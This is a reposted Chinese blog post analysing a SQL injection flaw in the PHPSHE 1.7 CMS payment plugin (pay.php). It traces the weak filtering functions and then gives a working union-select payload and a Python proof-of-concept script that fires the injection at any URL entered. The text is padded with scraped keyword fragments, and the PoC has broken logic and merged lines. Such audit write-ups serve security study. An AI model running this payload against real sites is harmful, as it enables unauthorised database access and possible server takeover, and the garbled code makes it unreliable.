php 防止sql注入,PHPSHE 1.7前臺SQL注入漏洞分析

 2023-10-18 阅读 23 评论 0

摘要:此CMS? SQL注入漏洞產生原因為未將經過 addslashes()?函數過濾的數據使用單引號包裹,從而導致的SQL注入漏洞。接下來看漏洞詳情: 首先查看phpshe下的common.php文件37~44行: ? php 防止sql注入?上述代碼可以看到,將獲取到的GET? POST 數據加上前

此CMS? SQL注入漏洞產生原因為未將經過 addslashes()?函數過濾的數據使用單引號包裹,從而導致的SQL注入漏洞。接下來看漏洞詳情:

首先查看phpshe下的common.php文件37~44行:

?

php 防止sql注入?上述代碼可以看到,將獲取到的GET? POST 數據加上前綴'_g',然后再看pe_stripslashes函數:

可以看到$_GET不為空的情況下,將字符串經過?stripslashes 函數去除反斜線。

然后在查看一下防止SQL注入的函數pe_dbhold:

 

php防sql注入函數、可以看到此過濾是將字符串經過addslashes()函數過濾,然后要注入的話則有2種情況:

  1、可控數據未經過單引號包裹 

  2、寬字節注入

然后查看此文件:include/plugin/payment/alipay/pay.php第34~35行:

php sqlserver、此處可以看到,將可控數據進過pe_dbhold函數過濾后引入order_table函數:

?此函數是查看 $id 中有無 '_' 有的話取第一個元素,否則返回 'order',此處可以看到次函數返回值可控,然后跟進 pe_select 函數:

此函數中 $table 變量可控,并且帶入SQL語句之中并無單引號包裹,從而產生SQL注入。

php防注入、由于order_table()函數返回值為 order_{$id_arr[0]},所以需要在數據庫中找到數據庫名包含 'order_' 的表,發現有且只有一個表:pe_order_pay

于是構造payload:pay`+where+1=1+union+select+1,2,user(),4,5,6,7,8,9,10,11,12#_

?

?

php避免sql注入函數?此處放上漏洞POC:

import requestsurl = input("please input url:")
pro1 = "http://"
pro2 = "https://"
if pro1 or pro2 in url:pass
else:print("please input the correct URL")
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"n-US,en;q=0.5"}
payload = url + "/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,1314520,4,5,6,7,8,9,10,11,12%23_"
response = requests.get(payload,headers)
creden = '1314520'
if creden in response.text:print("you can hack!!!")print("payload is : " + payload)
else:print("The website is secure")

該漏洞可用于初學代碼審計,具體利用則異常雞肋,由于過濾單引號,并且在payload中不能出現下劃線,導致無法查出數據庫中的大部分數據,不過權限夠高的話,可以直接getshell。

轉載于:https://www.cnblogs.com/Spec/p/10718046.html

版权声明:本站所有资料均为网友推荐收集整理而来,仅供学习和研究交流使用。

原文链接:https://hbdhgg.com/5/145452.html

发表评论:

本站为非赢利网站,部分文章来源或改编自互联网及其他公众平台,主要目的在于分享信息,版权归原作者所有,内容仅供读者参考,如有侵权请联系我们删除!

Copyright © 2022 匯編語言學習筆記 Inc. 保留所有权利。

底部版权信息